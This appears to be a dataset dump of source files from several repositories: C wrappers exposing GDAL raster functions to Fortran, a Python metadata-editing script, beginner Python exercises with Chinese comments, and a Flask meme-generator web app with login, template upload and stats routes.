GDALSetDescription( *obj, psz );\n\n free( psz );\n}\n\nvoid gdalgetdescription_(GDALMajorObjectH *obj,char *desc, int desclen)\n{\nconst char *psz;\n\n psz = GDALGetDescription(*obj);\n \n if( psz != NULL )\n {\n strncpy( desc, psz, desclen );\n }\n else\n {\n memset( desc, ' ', desclen );\n }\n}\n\n\n/* =====================================================================*/\n/* Datasets */\n/* =====================================================================*/\n\nGDALDatasetH gdalopen_(const char *fname,int access,int fnamelen)\n{\nchar *psz;\nGDALDatasetH ds;\n\n psz = (char*)calloc( fnamelen + 1, sizeof(char) );\n \n strncpy( psz, fname, fnamelen );\n \n ds = GDALOpen( psz, (GDALAccess)access );\n\n free( psz );\n \n return ds;\n}\n\nGDALDatasetH gdalcreate_(GDALDatasetH *templ, const char *fname,int *xsize, int *ysize, \n int *bands, int *type,int fnamelen)\n{\nchar *psz;\nGDALDatasetH hds;\nint n_xsize, n_ysize, n_bands, n_type;\ndouble adfGeoTransform[6];\nconst char *pszWKT;\nGDALDriverH hDriver;\nchar **pszStringList = NULL;\n\n psz = (char*)calloc( fnamelen + 1, sizeof(char) );\n \n strncpy( psz, fname, fnamelen );\n\n n_xsize = *xsize;\n n_ysize = *ysize;\n n_bands = *bands;\n n_type = *type;\n\n if( n_xsize == 0 )\n {\n n_xsize = GDALGetRasterXSize( *templ );\n }\n if( n_ysize == 0 )\n {\n n_ysize = GDALGetRasterYSize( *templ );\n }\n if( n_bands == 0 )\n {\n n_bands = GDALGetRasterCount( *templ );\n }\n if( n_type == GDT_Unknown )\n {\n n_type = GDALGetRasterDataType( GDALGetRasterBand( *templ, 1 ) );\n }\n\n if( GDALGetGeoTransform( templ, adfGeoTransform ) != CE_None )\n {\n fprintf( stderr, \"Cannot find transform\\n\" );\n return NULL;\n }\n\n pszWKT = GDALGetProjectionRef( templ );\n\n /* Create the new file */\n hDriver = GDALGetDriverByName( \"HFA\" );\n if( hDriver == NULL )\n {\n fprintf( stderr, \"Cannot find driver for HFA\\n\" );\n return NULL;\n }\n\n pszStringList = CSLAddString(NULL, \"IGNOREUTM=TRUE\");\n pszStringList = CSLAddString(pszStringList, \"COMPRESSED=TRUE\");\n hds = GDALCreate( hDriver, psz, n_xsize, n_ysize, n_bands, n_type, pszStringList );\n CSLDestroy( pszStringList );\n\n if( hds != NULL )\n {\n /* Set up the projection info */\n GDALSetProjection( hds, pszWKT );\n \n GDALSetGeoTransform( hds, adfGeoTransform );\n }\n\n free( psz );\n \n return hds;\n}\n\nvoid gdalclose_(GDALDatasetH *ds)\n{\n GDALClose( *ds );\n}\n\nint gdalgetrasterxsize_(GDALDatasetH *ds)\n{\n return GDALGetRasterXSize( *ds );\n}\n\nint gdalgetrasterysize_(GDALDatasetH *ds)\n{\n return GDALGetRasterYSize( *ds );\n}\n\nint gdalgetrastercount_(GDALDatasetH *ds)\n{\n return GDALGetRasterCount( *ds );\n}\n\nvoid gdalgetgeotransform_(GDALDatasetH *ds, double *transform)\n{\n GDALGetGeoTransform( *ds, transform);\n}\n\nvoid gdalsetgeotransform_(GDALDatasetH *ds, double *transform)\n{\n GDALSetGeoTransform( *ds, transform);\n}\n\nvoid gdalwld2pix_(double *transform,double *dwldx, double *dwldy, int *x, int *y)\n{\ndouble invtransform[6];\ndouble dx, dy;\n\n if( GDALInvGeoTransform(transform, invtransform) )\n {\n GDALApplyGeoTransform(invtransform, *dwldx, *dwldy, &dx, &dy);\n *x = dx;\n *y = dy;\n }\n else\n {\n *x = -1;\n *y = -1;\n }\n}\n\nvoid gdalpix2wld_(double *transform, int *x, int *y,double *dwldx, double *dwldy)\n{\n GDALApplyGeoTransform(transform, *x, *y, dwldx, dwldy);\n}\n\nvoid gdalsetprojection_(GDALDatasetH *ds, const char *proj, int projlen)\n{\nchar *psz;\n\n psz = (char*)calloc( projlen + 1, sizeof(char) );\n \n strncpy( psz, proj, projlen );\n\n GDALSetProjection( *ds, psz );\n\n free( psz );\n}\n\nvoid gdalgetprojection_(GDALDatasetH *ds,char *proj, int projlen)\n{\nconst char *psz;\n\n psz = GDALGetProjectionRef(*ds);\n\n if( psz != NULL )\n {\n strncpy( proj, psz, projlen );\n }\n else\n {\n memset( proj, ' ', projlen );\n }\n}\n\nGDALRasterBandH gdalgetrasterband_(GDALDatasetH *ds, int *band)\n{\n return GDALGetRasterBand(*ds,*band);\n}\n\n/* =====================================================================*/\n/* Bands */\n/* =====================================================================*/\n\nint gdalgetrasterdatatype_(GDALRasterBandH *bnd)\n{\n return GDALGetRasterDataType(*bnd);\n}\n\nvoid gdalgetblocksize_(GDALRasterBandH *bnd, int *xsize, int *ysize)\n{\n GDALGetBlockSize(*bnd,xsize,ysize);\n}\n\nvoid gdalrasterio_(GDALRasterBandH *bnd, int *flag, int *xoff, int *yoff,\n int *xsize, int *ysize, void *buffer, int *bxsize, int *bysize,\n int *type, int *pixelspace, int *linespace)\n{\n GDALRasterIO( *bnd, (GDALRWFlag)*flag, *xoff, *yoff, *xsize, *ysize, buffer, *bxsize, *bysize,\n (GDALDataType)*type, *pixelspace, *linespace);\n}\n\nvoid gdalreadblock_(GDALRasterBandH *bnd, int *x, int *y, void *buffer)\n{\n GDALReadBlock(*bnd,*x,*y,buffer);\n}\n\nvoid gdalwriteblock_(GDALRasterBandH *bnd, int *x, int *y, void *buffer)\n{\n GDALWriteBlock(*bnd,*x,*y,buffer);\n}\n\nint gdalgetrasterbandxsize_(GDALRasterBandH *bnd)\n{\n return GDALGetRasterBandXSize(*bnd);\n}\n\nint gdalgetrasterbandysize_(GDALRasterBandH *bnd)\n{\n return GDALGetRasterBandYSize(*bnd);\n}\n\nvoid gdalflushrastercache_(GDALRasterBandH *bnd)\n{\n GDALFlushRasterCache(*bnd);\n}\n\nvoid gdalcomputerasterminmax_(GDALRasterBandH *bnd, int *approxok, double *minmax)\n{\n GDALComputeRasterMinMax(*bnd,*approxok,minmax);\n}\n\nvoid gdalgetrasterhistogram_(GDALRasterBandH *bnd, double *min, double *max, int *buckets,\n int *histo, int *includeoutofrange, int *approxok)\n{\n GDALGetRasterHistogram( *bnd, *min, *max, *buckets, histo, *includeoutofrange,\n *approxok, GDALDummyProgress, NULL );\n}\n\nvoid gdalcomputebandstats_(GDALRasterBandH *bnd,int *step,double *mean,double *stddev)\n{\n GDALComputeBandStats(*bnd,*step,mean,stddev,GDALDummyProgress, NULL );\n}\n" }, { "alpha_fraction": 0.7217742204666138, "alphanum_fraction": 0.7303427457809448, "avg_line_length": 31.52458953857422, "blob_id": "804cda9a32d4a3e37706931b99fc9e3f7ea4b4cf", "content_id": "05f9a6d4e2fbf03ab4ed1817f0f300eb6177d8d9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1984, "license_type": "no_license", "max_line_length": 144, "num_lines": 61, "path": "/pyutils/bin/historymodify.py", "repo_name": "ubarsc/lcrimageutils", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\n\"\"\"\nCommand line program to call change metdatada in a file\n\n\"\"\"\n# This file is part of 'gdalutils'\n# Copyright (C) 2014 Sam Gillingham\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\nimport sys\nimport optparse\nfrom lcrimageutils import history\nfrom osgeo import gdal\nfrom osgeo.gdalconst import *\n\nclass CmdArgs(object):\n def __init__(self):\n parser = optparse.OptionParser(usage=\"%prog [options]\")\n parser.add_option(\"-d\",\"--dest\", dest=\"dest\", help=\"Name of file metadata to be written to\")\n parser.add_option(\"-o\",\"--optional\", dest=\"optionals\", help=\"Any optional metadata for this file in the form: -o tag=value\",action=\"append\")\n self.parser = parser\n (options, args) = parser.parse_args()\n # Some magic to copy the particular fields into our final object\n self.__dict__.update(options.__dict__)\n \n# Use the class above to create the command args object\ncmdargs = CmdArgs()\n\nif not cmdargs.dest or not cmdargs.optionals:\n cmdargs.parser.print_help()\n sys.exit()\n\nds = gdal.Open(cmdargs.dest,GA_Update)\nobj = history.readTreeFromDataset(ds)\n\nfor opt in cmdargs.optionals:\n (key,value) = opt.split('=')\n obj.thismeta[key] = value\n\n \nband = ds.GetRasterBand(1)\nmetadata = band.GetMetadata()\n \nmetadata[history.metadataName] = obj.toString()\nband.SetMetadata(metadata)\n\ndel ds\n" } ]
26
a1404344515/test_project1
https://github.com/a1404344515/test_project1
f4d13fcccaa99540e58c6e4282fabfeed6b9beed
52b89ed33a2d34fc8b4e79535998365d53b087c9
35f42a05cb369f885eacd508fdd1de0827106cdb
refs/heads/master
2020-06-03T08:22:06.720058
2019-06-12T08:17:06
2019-06-12T08:17:06
191,508,090
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.33591732382774353, "alphanum_fraction": 0.39534884691238403, "avg_line_length": 11.899999618530273, "blob_id": "ad3e2186e6d6cb89298f2818282b7f5dd653e7cd", "content_id": "4fd75167c14cfcc5243a53b5cdadafc799ef8f1d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 417, "license_type": "no_license", "max_line_length": 44, "num_lines": 30, "path": "/1.py", "repo_name": "a1404344515/test_project1", "src_encoding": "UTF-8", "text": "# i=0\n# r = 0\n# while i<=10:\n# if i%2==0:\n# print(i)\n# i+=1\n# print('循环结束后,i=%d' %i)\n# print('0-100之间数值和为%d'%r)\n# a = \"*\"\n# print(a)\n# print(a*2)\n# print(a*3)\n# print(a*4)\n# print(a*5)\n#\n# b = 1\n# while b<=9:\n# print('*'*b)\n# b+=1\na = 1#行号\nwhile a<=9:\n b=1#列号\n\n while b<=a:\n\n print('%d*%d=%d' %(b,a,b*a),end=' ')\n b+=1\n print('')\n\n a+=1\n" }, { "alpha_fraction": 0.48364007472991943, "alphanum_fraction": 0.6022495031356812, "avg_line_length": 20.755556106567383, "blob_id": "e028b3342524c6e9c9059836d10e0ad7ed44b2b9", "content_id": "a98334b5e3f88d9ebac8c7b9b6111c2d43f3cbe4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1272, "license_type": "no_license", "max_line_length": 53, "num_lines": 45, "path": "/4.24.py", "repo_name": "a1404344515/test_project1", "src_encoding": "UTF-8", "text": "# 1 定义一个函数sum_num,函数能够实现 两个数字的求和 功能\ndef sum_num(a,b):\n c=a+b\n print(c)\nsum_num(10,20)\n# 2 定义一个函数 money, 传递三个实参 基本工资,奖金 ,绩效, 求总的工资,并且将总工资返回\n# 根据总工资进行判断,如果大于6000 就上10%的税,求实发工资\ndef money(salary,jj,jx):\n z = salary + jj + jx\n return z\nb = money(4000,3000,2000)\nif b>6000:\n print(b*0.9)\n# 3 打印分隔线\ndef fgx(char,time):\n print(char*time)\nfgx('-',10)\n# 4 定义以列表 my_list = [10, 30, 40, 50]\n# 添加 数据 60, 70,90\n# 在 10 和30 之间添加 数据100\n# 删除 数据 90\n# 修改数据30 改成 300\nmy_list = [10, 30, 40, 50]\nmy_list.extend([60,70,90])\nmy_list.insert(1,100)\nmy_list.remove(90)\nmy_list[2] = 300\nprint(my_list)\n# 5遍历my_list = [“zhang”, ”wang”, ”li”]\nmy_list = ['zhang','wang','li']\nfor bl in my_list:\n print(bl)\n# 6 定义一个元组 里面放6个数据\nyz = (1,2,3,4,5,6)\n# 7 遍历元组\nfor bl_yz in yz:\n print(bl_yz)\n# 8 my_list= [7, 8, 9, 10] 转换为元组\nmy_list= [7, 8, 9, 10]\nlx =tuple(my_list)\nprint(type(lx))\n# 9 my_tuple = (3, 5 ,6,7) 转换为列表\nmy_tuple = (3, 5 ,6,7)\nlxzh = list(my_tuple)\nprint(type(lxzh))" } ]
2
bashish101/gaussian-mixture-model
https://github.com/bashish101/gaussian-mixture-model
e866a2577962bbf7025b71007768ed5ecdc79266
187eeec313e42096f39ed00b516d4d2d8133e4c2
23e399fdcfe57f6607115105f540ab9c36ffc973
refs/heads/master
2020-04-18T12:20:18.548826
2019-01-25T10:44:44
2019-01-25T10:44:44
167,530,620
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6283891797065735, "alphanum_fraction": 0.6379585266113281, "avg_line_length": 28.809524536132812, "blob_id": "20e2a29d69f46368d4f41c85770d44f891a0ce25", "content_id": "a22b6a6a7ba959a28549ad40209dc24380e49841", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 627, "license_type": "permissive", "max_line_length": 91, "num_lines": 21, "path": "/utils.py", "repo_name": "bashish101/gaussian-mixture-model", "src_encoding": "UTF-8", "text": "import numpy as np\n\nclass PCA(object):\n\tdef __init__(self, num_components):\n\t\tself.num_components = num_components\n\t\n\tdef calc_covariance_matrix(self, X, Y):\n\t\tN = len(X)\n\t\tcov_mat = (1 / (N - 1)) * np.dot((X - np.mean(X, axis = 0)).T, Y - np.mean(Y, axis = 0))\n\t\treturn cov_mat\n\n\tdef transform(self, X):\n\t\tcov_mat = self.calc_covariance_matrix(X, X)\n\t\teig_val, eig_vec = np.linalg.eig(cov_mat)\n\n\t\tselect_idx = eig_val.argsort()[::-1]\n\t\teig_val = eig_val[select_idx][:self.num_components]\n\t\teig_vec = np.atleast_1d(eig_vec[:, select_idx])[:, :self.num_components]\n\n\t\tX_transformed = np.dot(X, eig_vec)\n\t\treturn X_transformed\n\n" }, { "alpha_fraction": 0.6121054887771606, "alphanum_fraction": 0.6307112574577332, "avg_line_length": 32.40945053100586, "blob_id": "237ee914db6323f6be4e35f882b7e55476b8d084", "content_id": "b7f2c19363c5df3a0df6313ab3fd783e61112875", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4246, "license_type": "permissive", "max_line_length": 123, "num_lines": 127, "path": "/gaussian_mixture_model.py", "repo_name": "bashish101/gaussian-mixture-model", "src_encoding": "UTF-8", "text": "import numpy as np\n\nclass GMM(object):\n\tdef __init__(self,\n\t\t num_states = 3,\n\t\t tolerence = 1E-4,\n\t\t max_iterations = 100):\n\t\tself.num_states = num_states\n\t\tself.tolerence = tolerence\n\t\tself.max_iterations = max_iterations\n\n\tdef gaussian_pdf(self, x, mu, sigma):\n\t\tepsilon = np.finfo(float).eps\n\t\tp = len(x)\n\t\tcentered = np.matrix(x - mu)\n\t\tnorm_factor = (((2 * np.pi) ** p) * np.absolute(np.linalg.det(sigma)) + epsilon) ** 0.5\n\t\tpb = (1. / norm_factor) * np.exp(- 0.5 * centered * np.linalg.inv(sigma) * centered.T)\n\t\treturn np.squeeze(np.array(pb))\n\n\tdef compute_likelihood(self, x, num_states, mu, sigma, pi):\n\t\tscore = 0.0\n\t\tfor idx in range(num_states):\n\t\t\tscore += pi[idx] * self.gaussian_pdf(x, mu[idx], sigma[idx])\n\t\treturn score\n\n\tdef compute_log_likelihood(self, data, num_states, mu, sigma, pi):\n\t\tll = 0.0\n\t\tfor idx in range(len(data)):\n\t\t\tll += np.log(self.compute_likelihood(data[idx], num_states, mu, sigma, pi))\n\t\treturn ll\n\n\tdef display_progress(self, progress, msg = None):\n\t\tcompleted = '#' * progress\n\t\tremaining = ' ' * (100 - progress)\n\t\t\n\t\tprint ('\\r[{0}{1}] {2}% | {3}'.format(completed, remaining, progress, msg), end = '\\r')\n\n\tdef k_means(self, X, k, max_iters = 30):\n\t\tcentroids = np.array(X[np.random.choice(np.arange(len(X)), k, replace = False), :])\n\t\tfor idx in range(max_iters):\n\t\t\tcentroids_indices = np.array([np.argmin([np.dot(x - y, x - y) for y in centroids]) for x in X])\n\t\t\tcentroids = np.array([np.mean(X[centroids_indices == centroid_idx], axis = 0) for centroid_idx in range(k)])\n\t\treturn np.array(centroids), centroids_indices\n\n\tdef em_init_params(self, data, num_states):\n\t\tsize, num_feats = np.shape(data)[:2]\n\n\t\tpi = np.empty((num_states,), dtype = float)\n\t\tsigma = np.empty((num_states, num_feats, num_feats), dtype = float)\n\n\t\tcentroids, centroid_indices = self.k_means(data, num_states)\n\n\t\tmu = centroids\n\n\t\tfor idx in range(num_states):\n\t\t\tdata_indices = np.where(centroid_indices == idx)\n\t\t\tpi[idx] = len(data_indices)\n\t\t\tsigma[idx] = np.cov(data.T) + 1E-6 * np.eye(num_feats)\n\t\tpi = pi / size\n\t\treturn (mu, sigma, pi)\n\n\tdef em(self, data, num_states, mu, sigma, pi, tolerence = 1E-3, max_iters = 100):\n\t\tsize, num_feats = data.shape[:2]\n\n\t\tprev_ll = self.compute_log_likelihood(data, num_states, mu, sigma, pi)\n\n\t\tconverged = False\n\t\tfor iter_idx in range(max_iters):\n\t\t\t# Start Expectation \n\t\t\tr = np.zeros((size, num_states))\n\t\t\tfor idx1 in range(size):\n\t\t\t\tfor idx2 in range(num_states):\n\t\t\t\t\tprior = pi[idx2]\n\t\t\t\t\tpb = self.gaussian_pdf(data[idx1], mu[idx2], sigma[idx2]) \n\t\t\t\t\tl = self.compute_likelihood(data[idx1], num_states, mu, sigma, pi)\n\t\t\t\t\tr[idx1][idx2] = prior * pb / l\n\t\t\t# End Expectation\t\t\t\n\n\t\t\t# Start Maximization \n\t\t\tmu[:] = 0.\t\t# np.zeros((num_states, num_feats))\n\t\t\tsigma[:] = 0.\t\t# np.zeros((num_states, num_feats, num_feats))\n\t\t\tpi[:] = 0.\t\t# np.zeros((num_states))\n\n\t\t\tmarg_r = np.zeros((num_states,))\n\t\t\tfor idx1 in range(num_states):\n\t\t\t\tfor idx2 in range(size):\n\t\t\t\t\tmarg_r[idx1] += r[idx2][idx1]\n\t\t\t\t\tmu[idx1] += r[idx2][idx1] * data[idx2]\n\t\t\t\tmu[idx1] /= marg_r[idx1]\n\n\t\t\t\tfor idx2 in range(size):\n\t\t\t\t\tcentered = np.zeros((1, num_feats)) + data[idx2] - mu[idx1]\n\t\t\t\t\tsigma[idx1] += (r[idx2][idx1] / marg_r[idx1]) * centered * centered.T\n\t\t\t\tpi[idx1] = marg_r[idx1] / size\t\t\t\n\t\t\t# End Maximization\n\n\t\t\tll = self.compute_log_likelihood(data, num_states, mu, sigma, pi)\n\n\t\t\tprogress = int((iter_idx / max_iters) * 100)\n\t\t\tmsg = \"Current Log likelihood: {:.4f}\".format(ll)\n\t\t\tself.display_progress(progress, msg)\n\n\t\t\tif abs(ll - prev_ll) < tolerence:\n\t\t\t\tbreak\n\n\t\t\tprev_ll = ll\n\t\t\t\n\t\treturn mu, sigma, pi, r\n\n\tdef fit(self, data):\n\t\tmu, sigma, pi = self.em_init_params(data, self.num_states)\n \n\t\tself.mu, self.sigma, self.pi, self.r = self.em(data, self.num_states, mu, sigma, pi, self.tolerence, self.max_iterations)\n\n\tdef predict(self, data):\n\t\tsize = len(data)\n\t\tpredictions = []\n\t\tdist_arr = np.empty(self.num_states, dtype = float)\n\t\tsigma_inv = [np.linalg.inv(cov) for cov in self.sigma]\n\n\t\tfor idx1 in range(size):\n\t\t\tx = data[idx1]\n\t\t\tfor idx2 in range(self.num_states):\n\t\t\t\tdist_arr[idx2] = np.dot(np.dot((x - self.mu[idx2]).T, sigma_inv[idx2]), x - self.mu[idx2])\n\t\t\tpredictions.append(np.argmin(dist_arr))\n\n\t\treturn np.array(predictions)\n\n\n\n" }, { "alpha_fraction": 0.6706966161727905, "alphanum_fraction": 0.6758779287338257, "avg_line_length": 22.79452133178711, "blob_id": "c2ea8179ad58aa14b914db7573c58099e293afcb", "content_id": "12edc0240898d88522044024e6200219875209f0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1737, "license_type": "permissive", "max_line_length": 98, "num_lines": 73, "path": "/main.py", "repo_name": "bashish101/gaussian-mixture-model", "src_encoding": "UTF-8", "text": "import numpy as np\nfrom sklearn import datasets\nfrom matplotlib import pyplot as plt\n\nfrom utils import PCA\nfrom gaussian_mixture_model import GMM\n\ndef plot_results(X, y, title = None):\n\tpca = PCA(num_components = 2)\n\n\tX_transformed = pca.transform(X)\n\tx_coords = X_transformed[:, 0]\n\ty_coords = X_transformed[:, 1]\n\n\ty = np.array(y).astype(int)\n\tclasses = np.unique(y)\n\n\tcmap = plt.get_cmap('viridis')\n\tcolors = [cmap(val) for val in np.linspace(0, 1, len(classes))]\n\n\tfor idx, cls in enumerate(classes):\n\t\tx_coord = x_coords[y == cls]\n\t\ty_coord = y_coords[y == cls]\n\t\tcolor = colors[idx]\n\t\tplt.scatter(x_coord, y_coord, color = color)\n\n\tplt.xlabel('Component I')\n\tplt.ylabel('Component II')\n\n\tif title is not None:\n\t\tplt.title(title)\n\n\tplt.show()\n\ndef iris_classification():\n\tprint('\\nIris classification using GMM\\n')\n\tprint('Initiating Data Load...')\n\tiris = datasets.load_iris()\n\tX, y = iris.data, iris.target\n\n\t# X, y = datasets.make_blobs()\n\n\tsize = len(X)\n\tindices = list(range(size))\n\tnp.random.shuffle(indices)\n\tX, y = np.array([X[idx] for idx in indices]), np.array([y[idx] for idx in indices])\n\n\ttrain_size = int(0.8 * len(X))\n\tX_train, X_test, y_train, y_test = X[:train_size], X[train_size:], y[:train_size], y[train_size:]\n\n\tprint('Data load complete!')\n\n\tnum_classes = max(y) + 1\n\n\tprint('Constructing Gaussian Mixture Model...')\n\tclassifier = GMM(num_states = num_classes)\n\tclassifier.fit(X_train)\n\n\tprint('Generating test predictions...')\n\tpredictions = classifier.predict(X_test)\n\n\tprint(predictions, y_test)\n\t\n\tplot_results(X_test, y_test, title = 'Input Clusters')\n\tplot_results(X_test, predictions, title = 'GMM Clusters')\n\ndef main():\n\tnp.random.seed(3)\n\tiris_classification()\n\n\nif __name__ == '__main__':\n\tmain()\n" } ]
3
motishaku/Simple-Meme-Generator
https://github.com/motishaku/Simple-Meme-Generator
ba4ae05a4e8c1dbec4acc36e67e4613191653372
427fb5c179a2148d671b6e9b24faa670e3607aae
3c1319b6ee4a40a05a699ba6ee2f04927841d413
refs/heads/master
2022-12-08T15:34:15.336349
2020-09-17T15:06:41
2020-09-17T15:06:41
296,346,726
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6481195092201233, "alphanum_fraction": 0.6481195092201233, "avg_line_length": 36.81999969482422, "blob_id": "ab28255ccab34272421ceef362b45fa64133609b", "content_id": "1640a1242a7d607dbf1833e0ae613fd461af2f39", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1941, "license_type": "no_license", "max_line_length": 89, "num_lines": 50, "path": "/users/routes.py", "repo_name": "motishaku/Simple-Meme-Generator", "src_encoding": "UTF-8", "text": "from flask import redirect, url_for, render_template, Blueprint, flash, request\r\nfrom .forms import Registration, Login\r\nfrom flask_login import current_user, login_user, logout_user, login_required\r\nfrom website import bcrypt, db\r\nfrom website.models import User\r\nfrom datetime import datetime\r\n\r\nusers = Blueprint('users', __name__)\r\n\r\n\r\[email protected]('/register', methods=['GET', 'POST'])\r\ndef register():\r\n form = Registration()\r\n if current_user.is_authenticated:\r\n return redirect(url_for('main.home'))\r\n if form.validate_on_submit():\r\n username = form.username.data\r\n email = form.email.data\r\n hashed_password = bcrypt.generate_password_hash(form.password.data).decode()\r\n user = User(username=username, email=email, hashed_password=hashed_password)\r\n db.session.add(user)\r\n db.session.commit()\r\n login_user(user, remember=False)\r\n flash('You have been registered!', 'success')\r\n return redirect(url_for('main.home'))\r\n return render_template('register.html', form=form)\r\n\r\n\r\[email protected]('/login', methods=['GET', 'POST'])\r\ndef login():\r\n form = Login()\r\n if form.validate_on_submit():\r\n user = User.query.filter_by(username=form.username.data).first()\r\n if not user:\r\n user = User.query.filter_by(email=form.username.data).first()\r\n if user and bcrypt.check_password_hash(user.hashed_password, form.password.data):\r\n login_user(user, remember=form.remember.data)\r\n user.last_login = datetime.now()\r\n next_page = request.args.get('next')\r\n return redirect(next_page) if next_page else redirect(url_for('main.home'))\r\n else:\r\n flash(\"Username or password are incorrect\", 'danger')\r\n return render_template('login.html', form=form)\r\n\r\n\r\[email protected]('/logout')\r\n@login_required\r\ndef logout():\r\n logout_user()\r\n return redirect(url_for('main.home'))\r\n" }, { "alpha_fraction": 0.6266266107559204, "alphanum_fraction": 0.6366366147994995, "avg_line_length": 36.92207717895508, "blob_id": "cc28159a23ecaf98da7226fee154cceb47e9c405", "content_id": "c99dc6919ee15e167d0847607c103ea470551003", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2997, "license_type": "no_license", "max_line_length": 100, "num_lines": 77, "path": "/memes/routes.py", "repo_name": "motishaku/Simple-Meme-Generator", "src_encoding": "UTF-8", "text": "from flask import Blueprint, render_template, request, jsonify, flash, redirect, url_for\r\nimport os\r\nfrom flask_login import login_required, current_user\r\nfrom website import app, db\r\nfrom secrets import token_urlsafe\r\nfrom .utils import make_meme as util_make\r\nfrom .forms import Template\r\nfrom website.models import MemeStats, User, MemeTemplate\r\nfrom datetime import datetime\r\nfrom werkzeug.utils import secure_filename\r\n\r\nmemes = Blueprint('memes', __name__)\r\n\r\n\r\[email protected]('/templates', methods=['GET', 'POST'])\r\n@login_required\r\ndef memes_templates():\r\n form = Template()\r\n templates = MemeTemplate.query.all()\r\n if form.validate_on_submit():\r\n file = form.image.data\r\n file_name = secure_filename(file.filename)\r\n new_name = token_urlsafe(10) + '.' + file_name.split('.')[-1]\r\n template_name = form.name.data\r\n template = MemeTemplate(name=template_name, file_name=new_name, uploaded_by=current_user.id)\r\n db.session.add(template)\r\n db.session.commit()\r\n path = os.path.join(app.config['UPLOAD_FOLDER'], new_name)\r\n file.save(path)\r\n flash('New Template has been added!', 'success')\r\n return redirect(url_for('memes.memes_templates'))\r\n\r\n return render_template('memestemps.html', templates=templates, form=form, User=User)\r\n\r\n\r\[email protected]('/creatememe', methods=['POST'])\r\ndef make_meme():\r\n req_data = request.get_json()\r\n top_text = req_data['top']\r\n bottom_text = req_data['bottom']\r\n image_path = req_data['image']\r\n image_path = image_path.split('/')[-1].replace('%20', ' ')\r\n\r\n MemeTemplate.query.filter_by(file_name=image_path).first().usage += 1\r\n\r\n image_path = os.path.join(app.root_path, 'static', 'templates', image_path)\r\n b64_image = util_make(top_text, bottom_text, image_path)\r\n date = datetime.today().replace(hour=0, minute=0, second=0, microsecond=0)\r\n today = MemeStats.query.filter_by(date=int(date.timestamp())).first()\r\n if today:\r\n today.total += 1\r\n else:\r\n today = MemeStats(date=int(date.timestamp()), total=0)\r\n today.total += 1\r\n db.session.add(today)\r\n db.session.commit()\r\n return jsonify({'result': b64_image.decode(), 'status': 201})\r\n\r\n\r\[email protected]('/stats')\r\ndef get_stats():\r\n today = datetime.today().replace(hour=0, minute=0, second=0, microsecond=0)\r\n today_timestamp = int(today.timestamp())\r\n all_records = MemeStats.query.all()\r\n total = 0\r\n if all_records:\r\n for record in all_records:\r\n total += record.total\r\n data = {'total': total}\r\n today_record = MemeStats.query.filter_by(date=today_timestamp).first()\r\n data['today'] = today_record.total\r\n path = os.path.join(app.root_path, 'static', 'templates')\r\n data['templates'] = len(MemeTemplate.query.all())\r\n data['users'] = len(User.query.all())\r\n else:\r\n data = {'total': 0, 'today': 0, 'templates': 0, 'users': 0}\r\n return jsonify(data)\r\n" }, { "alpha_fraction": 0.57419353723526, "alphanum_fraction": 0.603225827217102, "avg_line_length": 37, "blob_id": "e0a79a890ef6affa134a8eb03aa178f456fe8031", "content_id": "5bd5f57f099ec3a058a1fd33c124f73950d90617", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 310, "license_type": "no_license", "max_line_length": 101, "num_lines": 8, "path": "/templates/home.html", "repo_name": "motishaku/Simple-Meme-Generator", "src_encoding": "UTF-8", "text": "{% extends \"extended_layout.html\" %}\r\n{% block content %}\r\n <h3>\r\n Simple Memes generator<br>\r\n <small class=\"text-muted ml-1\">Created with Python.</small>\r\n </h3>\r\n <img src=\"{{ url_for('static', filename='images/meme generator.PNG')}}\" height=\"450\" width=\"450\">\r\n{% endblock content %}" }, { "alpha_fraction": 0.7522349953651428, "alphanum_fraction": 0.7650063633918762, "avg_line_length": 36.28571319580078, "blob_id": "0df44a7c2837e4eec942103186bec30edcf00cb9", "content_id": "9a865e7a38da17682c12f29397fae21d4824e9fb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 783, "license_type": "no_license", "max_line_length": 129, "num_lines": 21, "path": "/README.md", "repo_name": "motishaku/Simple-Meme-Generator", "src_encoding": "UTF-8", "text": "# Simple-Meme-Generator\nA meme generator made with Flask in python 3.7.\n\n## Features\n* User system\n* SQLite / MYSQL database.\n* Each module separated by blueprints for easy adaptations and adjustments.\n* Base templates upload system.\n\n## Database\nBy default, a SQLite database is being used.\nIn order to setup MYSQL database instead, all you have to do is install pymysql driver and change the app configuration value to:\n> mysql+pymysql://username:password@mysql-address/db_name\n\n## Todo\n* Add permission system with more admin functionality.\n* Improve meme making system and add more text editing features.\n* Add a platform for user to share their memes.\n\n\n<img src=\"https://i.imgur.com/OS0gAVr.png\" data-canonical-src=\"https://i.imgur.com/OS0gAVr.png\" width=\"420\" height=\"220\" />\n" }, { "alpha_fraction": 0.4821607172489166, "alphanum_fraction": 0.5031677484512329, "avg_line_length": 27.693069458007812, "blob_id": "09292fb4584913192cbaebcc5f380efd8a5af0e4", "content_id": "a8d5f789e9d0ea5bfd22fe9f3148d6d61fbc9366", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2999, "license_type": "no_license", "max_line_length": 